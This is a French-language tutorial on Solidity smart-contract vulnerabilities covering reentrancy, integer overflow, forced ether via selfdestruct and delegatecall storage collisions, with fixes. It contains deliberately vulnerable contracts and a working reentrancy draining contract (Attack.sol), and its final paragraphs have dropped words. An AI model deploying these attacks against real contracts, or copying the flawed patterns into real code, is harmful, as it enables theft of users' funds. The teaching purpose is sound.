
Solidity Security
Cet article se veut une introduction relativement approfondie et à jour qui détaille les erreurs passées commises par les développeurs Solidity, afin d'empêcher les futurs développeurs de répéter l'histoire.
L'une des caractéristiques des contrats intelligents Ethereum est la capacité d'appeler et d'utiliser le code d'autres contrats externes. Les contrats gèrent également généralement de l'ether et, à ce titre, envoient souvent de l'ether à diverses adresses d'utilisateurs externes. L'opération d'appel de contrats externes, ou d'envoi d'ether à une adresse, nécessite que le contrat soumette un appel externe. Ces appels externes peuvent être détournés par des attaquants qui forcent alors le contrat à exécuter du code supplémentaire (par exemple via une fonction fallback), y compris des appels vers lui-même. Ainsi, l'exécution du code « ré-entre » dans le contrat. Ce type d'attaque a été utilisé lors du tristement célèbre hack de The DAO.
Pour en savoir plus sur les attaques par ré-entrance, consultez Reentrancy Attack On Smart Contracts et Consensus - Ethereum Smart Contract Best Practices.
Cette attaque peut se produire lorsqu'un contrat envoie de l'ether à une adresse inconnue. Un attaquant peut soigneusement construire un contrat à une adresse externe contenant du code malveillant dans la fonction fallback. Ainsi, lorsqu'un contrat envoie de l'ether à cette adresse, il invoque le code malveillant. En général, le code malveillant exécute une fonction sur le contrat vulnérable, effectuant des opérations non attendues par le développeur. Le nom « ré-entrance » vient du fait que le contrat externe malveillant rappelle une fonction du contrat vulnérable et « ré-entre » dans l'exécution du code à un emplacement arbitraire du contrat vulnérable.
Pour clarifier cela, considérons le simple contrat vulnérable suivant, qui agit comme un coffre-fort Ethereum permettant aux déposants de ne retirer que 1 ether par semaine.
EtherStore.sol:```solidity contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
Ce contrat possède deux fonctions publiques. `depositFunds()` et `withdrawFunds()`. La fonction `depositFunds()` incrémente simplement les soldes des expéditeurs. La fonction `withdrawFunds()` permet à l'expéditeur de préciser le montant de wei à retirer. Elle ne réussit que si le montant demandé est inférieur à 1 ether et qu'aucun retrait n'a eu lieu au cours de la dernière semaine. Ou pas ?...
La vulnérabilité se trouve à la ligne \[17\] où nous envoyons à l'utilisateur le montant d'ether demandé. Considérons un attaquant malveillant créant le contrat suivant,
Attack.sol:```solidity
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// initialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
Voyons comment ce contrat malveillant peut exploiter notre contrat EtherStore. L'attaquant créerait le contrat ci-dessus (disons à l'adresse 0x0...123) avec l'adresse du contrat EtherStore comme paramètre du constructeur. Cela initialisera et fera pointer la variable publique etherStore vers le contrat que nous souhaitons attaquer.
L'attaquant appellerait ensuite la fonction pwnEtherStore(), avec une certaine quantité d'ether (supérieure ou égale à 1), disons 1 ether pour cet exemple. Dans cet exemple, nous supposons qu'un certain nombre d'autres utilisateurs ont déposé de l'ether dans ce contrat, de sorte que son solde actuel est de 10 ether. Ce qui suit se produirait alors :
Attack.sol - Ligne [15] - La fonction depositFunds() du contrat EtherStore sera appelée avec un msg.value de 1 ether (et beaucoup de gas). L'expéditeur (msg.sender) sera notre contrat malveillant (0x0...123). Ainsi, balances[0x0..123] = 1 ether.
Attack.sol - Ligne [17] - Le contrat malveillant appellera ensuite la fonction withdrawFunds() du contrat EtherStore avec un paramètre de 1 ether. Cela satisfera toutes les exigences (Lignes [12]-[16] du contrat EtherStore) car nous n'avons effectué aucun retrait préalable.
EtherStore.sol - Ligne [17] - Le contrat enverra alors 1 ether de retour au contrat malveillant.
Attack.sol - Ligne [25] - L'ether envoyé au contrat malveillant exécutera alors la fonction fallback.
Le résultat final est que l'attaquant a retiré tout l'ether (sauf 1) du contrat EtherStore, instantanément, en une seule transaction.
Il existe un certain nombre de techniques courantes qui aident à éviter les potentiels risques de réentrance dans les contrats intelligents. La première consiste à (dans la mesure du possible) utiliser la fonction intégrée transfer() lors de l'envoi d'ether à des contrats externes. La fonction transfer n'envoie que 2300 gas avec l'appel externe, ce qui n'est pas suffisant pour que l'adresse/le contrat de destination appelle un autre contrat (c'est-à-dire réentre dans le contrat appelant).
La deuxième technique consiste à s'assurer que toute la logique qui modifie les variables d'état s'exécute avant que l'ether ne soit envoyé hors du contrat (ou avant tout appel externe). Dans l'exemple EtherStore, les lignes [18] et [19] de EtherStore.sol devraient être placées avant la ligne [17]. Il est de bonne pratique de placer tout code qui effectue des appels externes vers des adresses inconnues comme dernière opération dans une fonction localisée ou un segment d'exécution de code. C'est ce qu'on appelle le pattern checks-effects-interactions.
Une troisième technique consiste à introduire un mutex. C'est-à-dire, ajouter une variable d'état qui verrouille le contrat pendant l'exécution du code, empêchant ainsi les appels de réentrance.
L'application de toutes ces techniques (les trois ne sont pas nécessaires, mais c'est fait à des fins de démonstration) à EtherStore.sol, donne le contrat sans réentrance :```solidity
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
<h3 id="re-example">Exemple concret : The DAO</h3>
[The DAO](https://en.wikipedia.org/wiki/The_DAO_(organization)) (Organisation autonome décentralisée) a été l'un des piratages majeurs survenus au début du développement d'Ethereum. À l'époque, le contrat détenait plus de 150 millions de dollars américains. La réentrance a joué un rôle majeur dans cette attaque qui a finalement conduit au hard-fork qui a créé Ethereum Classic (ETC). Pour une bonne analyse de l'exploit du DAO, consultez [l'article de Phil Daian](http://hackingdistributed.com/2016/06/18/analysis-of-the-dao-exploit/).
<h2 id="ouflow"><span id="SP-2">2. Débordements arithmétiques (over/under flows)</span></h2>
La machine virtuelle Ethereum (EVM) spécifie des types de données de taille fixe pour les entiers. Cela signifie qu'une variable entière ne peut représenter qu'une certaine plage de nombres. Un `uint8` par exemple, ne peut stocker que des nombres dans la plage \[0,255\]. Essayer de stocker `256` dans un `uint8` donnera `0`. Si l'on n'y prend pas garde, les variables en Solidity peuvent être exploitées si l'entrée utilisateur n'est pas vérifiée et si des calculs sont effectués qui produisent des nombres situés en dehors de la plage du type de données qui les stocke.
Pour en savoir plus sur les débordements arithmétiques (over/under flows), consultez [Comment sécuriser vos contrats intelligents](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d), [Bonnes pratiques pour les contrats intelligents Ethereum](https://consensys.github.io/smart-contract-best-practices/known_attacks/#integer-overflow-and-underflow) et [Ethereum, Solidity et les débordements d'entiers : programmer des blockchains comme en 1970](https://randomoracle.wordpress.com/2018/04/27/ethereum-solidity-and-integer-overflows-programming-blockchains-like-1970/)
<h3 id="ou-vuln">La vulnérabilité</h3>
Un débordement (over/under flow) se produit lorsqu'une opération est effectuée qui oblige une variable de taille fixe à stocker un nombre (ou une donnée) situé en dehors de la plage du type de données de la variable.
Par exemple, soustraire `1` d'une variable `uint8` (entier non signé de 8 bits, c'est-à-dire uniquement positif) qui stocke la valeur `0`, donnera le nombre `255`. C'est un underflow. Nous avons attribué un nombre inférieur à la plage du `uint8` ; le résultat *boucle* et donne le plus grand nombre qu'un `uint8` peut stocker. De même, ajouter `2^8=256` à un `uint8` laissera la variable inchangée car nous avons bouclé sur toute la longueur du `uint` (pour les mathématiciens, cela revient à ajouter $2\pi$ à l'angle d'une fonction trigonométrique, $\sin(x) = \sin(x+2\pi)$). Ajouter des nombres plus grands que la plage du type de données est appelé un overflow. Pour plus de clarté, ajouter `257` à un `uint8` qui a actuellement une valeur nulle donnera le nombre `1`. Il est parfois instructif de penser aux variables de type fixe comme étant cycliques, où l'on repart de zéro si l'on ajoute des nombres au-delà du plus grand nombre pouvant être stocké, et vice-versa pour zéro (où l'on commence à descendre depuis le plus grand nombre à mesure que l'on soustrait de 0).
Ces particularités numériques permettent aux attaquants de détourner le code et de créer des flux logiques inattendus. Par exemple, considérez le contrat de verrouillage temporel ci-dessous.
TimeLock.sol:```solidity
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Ce contrat est conçu pour agir comme un coffre-fort temporel, où les utilisateurs peuvent déposer de l'ether dans le contrat et celui-ci y sera verrouillé pendant au moins une semaine. L'utilisateur peut prolonger la durée d'attente au-delà d'une semaine s'il le souhaite, mais une fois déposé, l'utilisateur peut être certain que son ether est verrouillé en sécurité pendant au moins une semaine. Ou peut-il l'être ?...
Dans le cas où un utilisateur est forcé de remettre sa clé privée (imaginez une situation de prise d'otage), un contrat de ce type peut s'avérer utile pour garantir que l'ether est indisponible sur de courtes périodes. Si un utilisateur avait verrouillé 100 ether dans ce contrat et remis ses clés à un attaquant, un attaquant pourrait utiliser un débordement pour recevoir l'ether, indépendamment du lockTime.
L'attaquant pourrait déterminer le lockTime actuel pour l'adresse dont il détient désormais la clé (c'est une variable publique). Appelons cela userLockTime. Il pourrait ensuite appeler la fonction increaseLockTime et passer comme argument le nombre 2^256 - userLockTime. Ce nombre serait ajouté au userLockTime actuel et provoquerait un débordement, réinitialisant lockTime[msg.sender] à 0. L'attaquant pourrait alors simplement appeler la fonction withdraw pour obtenir sa récompense.
Regardons un autre exemple, celui-ci tiré des Ethernaut Challanges.
SPOILER ALERT : Si vous n'avez pas encore relevé les défis Ethernaut, ceci donne la solution à l'un des niveaux.```solidity pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances; uint public totalSupply;
function Token(uint _initialSupply) { balances[msg.sender] = totalSupply = _initialSupply; }
function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; }
function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } }
Ceci est un contrat de jeton simple qui utilise une fonction `transfer()`, permettant aux participants de déplacer leurs jetons. Voyez-vous l'erreur dans ce contrat ?
Le défaut se trouve dans la fonction `transfer()`. L'instruction `require` de la ligne \[13\] peut être contournée en utilisant un underflow. Prenons l'exemple d'un utilisateur qui n'a aucun solde. Il pourrait appeler la fonction `transfer()` avec n'importe quelle `_value` non nulle et passer l'instruction `require` de la ligne \[13\]. Cela est dû au fait que `balances[msg.sender]` est nul (et un `uint256`), donc soustraire tout montant positif (à l'exception de `2^256`) donnera un nombre positif en raison de l'underflow décrit précédemment. Cela est également vrai pour la ligne \[14\], où notre solde sera crédité d'un nombre positif. Ainsi, dans cet exemple, nous avons obtenu des jetons gratuits grâce à une vulnérabilité d'underflow.
<h3 id="ou-prevention">Techniques de prévention</h3>
La technique conventionnelle (actuellement) pour se prémunir contre les vulnérabilités de sous-/sur-dépassement est d'utiliser ou de construire des bibliothèques mathématiques qui remplacent les opérateurs mathématiques standard ; addition, soustraction et multiplication (la division est exclue car elle ne provoque pas de dépassements et l'EVM revient en arrière en cas de division par 0).
[OppenZepplin](https://github.com/OpenZeppelin/zeppelin-solidity) ont fait un excellent travail en construisant et en auditant des bibliothèques sécurisées qui peuvent être utilisées par la communauté Ethereum. En particulier, leur [Safe Math Library](https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol) est une référence ou une bibliothèque à utiliser pour éviter les vulnérabilités de sous-/sur-dépassement.
Pour démontrer comment ces bibliothèques sont utilisées en Solidity, corrigeons le contrat `TimeLock` en utilisant la bibliothèque `SafeMath` d'Open Zepplin. Le contrat sans risque de dépassement deviendrait :```solidity
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLock {
using SafeMath for uint; // use the library for uint type
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() public payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
lockTime[msg.sender] = now.add(1 weeks);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Remarque : toutes les opérations mathématiques standard ont été remplacées par celles définies dans la bibliothèque SafeMath. Le contrat TimeLock n'effectue plus aucune opération capable de provoquer un underflow/overflow.
Un groupe de 4chan a décidé que c'était une excellente idée de construire un système de Ponzi sur Ethereum, écrit en Solidity. Ils l'ont appelé Proof of Weak Hands Coin (PoWHC). Malheureusement, il semble que l'(les) auteur(s) du contrat n'avaient jamais vu d'underflow/overflow auparavant, et par conséquent, 866 ethers ont été libérés de son contrat. Un bon aperçu de la façon dont l'underflow se produit (qui n'est pas trop différent du défi Ethernaut ci-dessus) est donné dans l'article d'Eric Banisadar.
Certains développeurs ont également implémenté une fonction batchTransfer() dans certains contrats de jetons ERC20. Cette implémentation contenait un overflow. Cet article l'explique, mais je pense que le titre est trompeur, car il n'a rien à voir avec le standard ERC20 ; plutôt, certains contrats de jetons ERC20 ont une fonction batchTransfer() vulnérable implémentée.
En règle générale, lorsque de l'ether est envoyé à un contrat, celui-ci doit exécuter soit la fonction de repli (fallback), soit une autre fonction décrite dans le contrat. Il existe deux exceptions à cela, où de l'ether peut exister dans un contrat sans qu'aucun code n'ait été exécuté. Les contrats qui dépendent de l'exécution de code pour chaque ether envoyé au contrat peuvent être vulnérables à des attaques où de l'ether est envoyé de force à un contrat.
Pour en savoir plus, consultez Comment sécuriser vos smart contracts : 6 et Modèles de sécurité Solidity - forcer l'ether vers un contrat .
Une technique de programmation défensive courante, utile pour imposer des transitions d'état correctes ou valider des opérations, est la vérification d'invariants. Cette technique consiste à définir un ensemble d'invariants (métriques ou paramètres qui ne devraient pas changer) et à vérifier que ces invariants restent inchangés après une (ou plusieurs) opération(s). C'est généralement une bonne conception, à condition que les invariants vérifiés soient effectivement des invariants. Un exemple d'invariant est le totalSupply d'un jeton ERC20 à émission fixe. Comme aucune fonction ne devrait modifier cet invariant, on pourrait ajouter une vérification à la fonction transfer() pour s'assurer que le totalSupply reste inchangé, afin de garantir que la fonction fonctionne comme prévu.
En particulier, il existe un invariant apparent qu'il peut être tentant d'utiliser,
mais qui peut en réalité être manipulé par des utilisateurs externes (indépendamment des règles
mises en place dans le smart contract). Il s'agit de l'ether actuellement stocké dans le
contrat. Souvent, lorsque les développeurs apprennent Solidity pour la première fois, ils ont
l'idée fausse qu'un contrat ne peut accepter ou obtenir de l'ether que via les fonctions
payables. Cette idée fausse peut conduire à des contrats qui reposent sur de fausses
hypothèses concernant le solde d'ether qu'ils contiennent, ce qui peut entraîner toute une gamme de
vulnérabilités. La preuve irréfutable de cette vulnérabilité est l'utilisation (incorrecte)
de this.balance. Comme nous le verrons, des utilisations incorrectes de this.balance peuvent conduire à de graves vulnérabilités de ce type.
Il existe deux façons d'envoyer (de force) de l'ether à un contrat sans utiliser une fonction payable ni exécuter de code sur le contrat. Elles sont énumérées ci-dessous.
Tout contrat est capable d'implémenter la fonction selfdestruct(address), qui supprime tout le bytecode de l'adresse du contrat et envoie tout l'ether qui y est stocké à l'adresse spécifiée en paramètre. Si cette adresse spécifiée est également un contrat, aucune fonction (y compris la fonction de repli) n'est appelée. Par conséquent, la fonction selfdestruct() peut être utilisée pour envoyer de force de l'ether à n'importe quel contrat, indépendamment du code qui peut exister dans le contrat. Cela inclut les contrats sans aucune fonction payable. Cela signifie que n'importe quel attaquant peut créer un contrat avec une fonction selfdestruct(), lui envoyer de l'ether, appeler selfdestruct(cible) et forcer l'envoi d'ether à un contrat cible. Martin Swende a un excellent article de blog décrivant certaines particularités de l'opcode self-destruct (particularité n°2), ainsi qu'une description de la façon dont les nœuds clients vérifiaient des invariants incorrects, ce qui aurait pu conduire à une destruction plutôt catastrophique des clients.
La deuxième façon pour un contrat d'obtenir de l'ether sans utiliser de fonction selfdestruct() ni appeler de fonctions payables consiste à pré-charger l'adresse du contrat avec de l'ether. Les adresses de contrat sont déterministes ; en réalité, l'adresse est calculée à partir du hachage keccak256 (parfois synonyme de SHA3) de l'adresse qui crée le contrat et du nonce de transaction qui crée le contrat. Plus précisément, elle est de la forme : address = sha3(rlp.encode([account_address,transaction_nonce])) (voir Ether sans clé pour quelques cas d'utilisation amusants de cela). Cela signifie que n'importe qui peut calculer ce que sera une adresse de contrat avant sa création et ainsi envoyer de l'ether à cette adresse. Lorsque le contrat est effectivement créé, il aura un solde d'ether non nul.
Explorons quelques pièges qui peuvent survenir compte tenu des connaissances ci-dessus.
Considérons le contrat très simple,
EtherGame.sol:```solidity contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
// if at a milestone credit the players account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
This contract represents a simple game (which would naturally invoke [race-conditions](#race-conditions)) whereby players send `0.5 ether` quanta to the contract in hope to be the player that reaches one of three milestones first. Milestone's are denominated in ether. The first to reach the milestone may claim a portion of the ether when the game has ended. The game ends when the final milestone (`10 ether`) is reached and users can claim their rewards.
The issues with the `EtherGame` contract come from the poor use of `this.balance` in both lines \[14\] (and by association \[16\]) and \[32\]. A mischievous attacker could forcibly send a small amount of ether, let's say `0.1 ether` via the `selfdestruct()` function (discussed above) to prevent any future players from reaching a milestone. As all legitimate players can only send `0.5 ether` increments, `this.balance` would no longer be half integer numbers, as it would also have the `0.1 ether` contribution. This prevents all the if conditions on lines \[18\], \[21\] and \[24\] from being true.
Even worse, a vengeful attacker who missed a milestone, could forcibly send `10 ether` (or an equivalent amount of ether that pushes the contract's balance above the `finalMileStone`) which would lock all rewards in the contract forever. This is because the `claimReward()` function will always revert, due to the require on line \[32\] (i.e. `this.balance` is greater than `finalMileStone`).
<h3 id="ether-prevention">Techniques de prévention</h3>
Cette vulnérabilité provient généralement d’une mauvaise utilisation de `this.balance`. Dans la mesure du possible, la logique du contrat ne devrait pas dépendre des valeurs exactes du solde du contrat, car celui-ci peut être artificiellement manipulé. Si une logique reposant sur `this.balance` est appliquée, veillez à prendre en compte les soldes inattendus.
Si des valeurs exactes d’ether déposé sont requises, il convient d’utiliser une variable définie par le contrat, incrémentée dans les fonctions payables, afin de suivre en toute sécurité l’ether déposé. Cette variable ne sera pas influencée par l’ether forcé envoyé via un appel `selfdestruct()`.
Dans cette optique, une version corrigée du contrat `EtherGame` pourrait ressembler à ceci :```solidity
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() public payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// ensure the game is complete
require(depositedWei == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
uint transferValue = redeemableEther[msg.sender];
redeemableEther[msg.sender] = 0;
msg.sender.transfer(transferValue);
}
}
Ici, nous venons de créer une nouvelle variable, depositedWei, qui garde la trace de l'ether déposé connu, et c'est sur cette variable que nous appliquons nos exigences et nos tests. Remarquez que nous n'avons plus aucune référence à this.balance.
Je n'ai pas encore trouvé d'exemple de cela ayant été exploité dans la nature. Cependant, quelques exemples de contrats exploitables ont été donnés dans le Underhanded Solidity Contest.
Les opcodes CALL et DELEGATECALL sont utiles car ils permettent aux développeurs Ethereum de modulariser leur code. Les appels de messages externes standard vers des contrats sont gérés par l'opcode CALL, où le code est exécuté dans le contexte du contrat/fonction externe. L'opcode DELEGATECALL est identique à l'appel de message standard, sauf que le code exécuté à l'adresse cible est exécuté dans le contexte du contrat appelant, et que msg.sender et msg.value restent inchangés. Cette fonctionnalité permet la mise en œuvre de bibliothèques grâce auxquelles les développeurs peuvent créer du code réutilisable pour de futurs contrats.
Bien que les différences entre ces deux opcodes soient simples et intuitives, l'utilisation de DELEGATECALL peut conduire à une exécution de code inattendue.
Pour en savoir plus, voir Question Ethereum Stack Exchange, Documentation Solidity et Comment sécuriser vos contrats intelligents : 6.
La nature de préservation du contexte de DELEGATECALL a prouvé que créer des bibliothèques personnalisées sans vulnérabilités n'est pas aussi facile qu'on pourrait le penser. Le code des bibliothèques elles-mêmes peut être sûr et sans vulnérabilités, mais lorsqu'il est exécuté dans le contexte d'une autre application, de nouvelles vulnérabilités peuvent apparaître. Voyons un exemple assez complexe de cela, utilisant les nombres de Fibonacci.
Considérez la bibliothèque suivante qui peut générer la suite de Fibonacci et des suites de forme similaire.
FibonacciLib.sol[^1]```solidity
// library contract - calculates fibonacci-like numbers;
contract FibonacciLib {
// initializing the standard fibonacci sequence;
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
Cette bibliothèque fournit une fonction capable de générer le *n*-ième nombre de Fibonacci de la suite. Elle permet aux utilisateurs de modifier le nombre de départ de la suite (`start`) et de calculer les *n*-ièmes nombres de type Fibonacci dans cette nouvelle suite.
Considérons maintenant un contrat qui utilise cette bibliothèque.
`FibonacciBalance.sol` :```solidity
contract FibonacciBalance {
address public fibonacciLibrary;
// the current fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) public payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the fibonacci number for the current withdrawal user
// this sets calculatedFibNumber
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
Ce contrat permet à un participant de retirer de l'ether du contrat, le montant d'ether étant égal au nombre de Fibonacci correspondant à l'ordre de retrait du participant ; c'est-à-dire que le premier participant reçoit 1 ether, le second reçoit également 1, le troisième reçoit 2, le quatrième reçoit 3, le cinquième 5 et ainsi de suite (jusqu'à ce que le solde du contrat soit inférieur au nombre de Fibonacci en cours de retrait).
Un certain nombre d'éléments dans ce contrat peuvent nécessiter quelques explications. Premièrement, il y a une variable d'apparence intéressante, fibSig. Elle contient les 4 premiers octets du hash Keccak (SHA-3) de la chaîne "setFibonacci(uint256)". C'est ce qu'on appelle le sélecteur de fonction et il est placé dans calldata pour spécifier quelle fonction d'un contrat intelligent sera appelée. Il est utilisé dans la fonction delegatecall à la ligne [21] pour spécifier que nous souhaitons exécuter la fonction setFibonacci(uint256). Le second argument de delegatecall est le paramètre que nous passons à la fonction. Deuxièmement, nous supposons que l'adresse de la bibliothèque FibonacciLib est correctement référencée dans le constructeur (la section Référencement de contrat externe aborde certaines vulnérabilités potentielles liées à ce type d'initialisation de référence de contrat).
Pouvez-vous repérer une ou plusieurs erreurs dans ce contrat ? Si vous le mettez dans remix, le remplissez d'ether et appelez withdraw(), il est probable qu'il fasse un revert.
Vous avez peut-être remarqué que la variable d'état start est utilisée à la fois dans la bibliothèque et dans le contrat appelant principal. Dans le contrat de bibliothèque, start est utilisé pour spécifier le début de la suite de Fibonacci et est défini à 0, alors qu'il est défini à 3 dans le contrat FibonacciBalance. Vous avez peut-être également remarqué que la fonction fallback du contrat FibonacciBalance permet à tous les appels d'être transmis au contrat de bibliothèque, ce qui permet également d'appeler la fonction setStart() du contrat de bibliothèque. En rappelant que nous préservons l'état du contrat, il peut sembler que cette fonction permettrait de modifier l'état de la variable start dans le contrat local FibonnacciBalance. Si c'était le cas, cela permettrait de retirer plus d'ether, car le calculatedFibNumber résultant dépend de la variable start (comme on le voit dans le contrat de bibliothèque). En réalité, la fonction setStart() ne modifie pas (et ne peut pas modifier) la variable dans le contrat . La vulnérabilité sous-jacente de ce contrat est considérablement pire que le simple fait de modifier la variable .
Avant de discuter du problème réel, nous faisons un bref détour pour comprendre comment les variables d'état (variables de storage) sont réellement stockées dans les contrats. Les variables d'état ou de storage (variables qui persistent entre les transactions individuelles) sont placées dans des slots séquentiellement au fur et à mesure qu'elles sont introduites dans le contrat. (Il y a certaines complexités ici, et j'encourage le lecteur à lire Disposition des variables d'état dans le stockage pour une compréhension plus approfondie).
À titre d'exemple, examinons le contrat de bibliothèque. Il a deux variables d'état, start et calculatedFibNumber. La première variable est start, elle est donc stockée dans le stockage du contrat à slot[0] (c'est-à-dire le premier slot). La deuxième variable, calculatedFibNumber, est placée dans le slot de stockage disponible suivant, slot[1]. Si nous regardons la fonction setStart(), elle prend une entrée et définit start à la valeur de cette entrée. Cette fonction définit donc slot[0] à la valeur que nous fournissons dans la fonction setStart(). De même, la fonction setFibonacci() définit calculatedFibNumber au résultat de fibonacci(n). Là encore, cela revient simplement à définir le stockage à la valeur de .
Maintenant, regardons le contrat FibonacciBalance. Le stockage slot[0] correspond désormais à l'adresse fibonacciLibrary et slot[1] correspond à calculatedFibNumber. C'est dans ce mappage incorrect que se produit la vulnérabilité. delegatecall préserve le contexte du contrat. Cela signifie que le code exécuté via delegatecall agira sur l'état (c'est-à-dire le stockage) du contrat appelant.
Remarquez maintenant que dans withdraw() à la ligne [21], nous exécutons fibonacciLibrary.delegatecall(fibSig,withdrawalCounter). Cela appelle la fonction setFibonacci(), qui, comme nous l'avons vu, modifie le stockage slot[1], qui dans notre contexte actuel est calculatedFibNumber. C'est comme prévu (c'est-à-dire qu'après l'exécution, calculatedFibNumber est ajusté). Cependant, rappelez-vous que la variable start dans le contrat FibonacciLib est située dans le stockage slot[0], qui est l'adresse fibonacciLibrary dans le contrat actuel. Cela signifie que la fonction fibonacci() donnera un résultat inattendu. En effet, elle référence start (slot[0]) qui, dans le contexte d'appel actuel, est l'adresse (qui sera souvent assez grande, lorsqu'elle est interprétée comme un ). Il est donc probable que la fonction fasse un revert car elle ne contiendra pas la quantité d'ether , qui est ce que retournera.
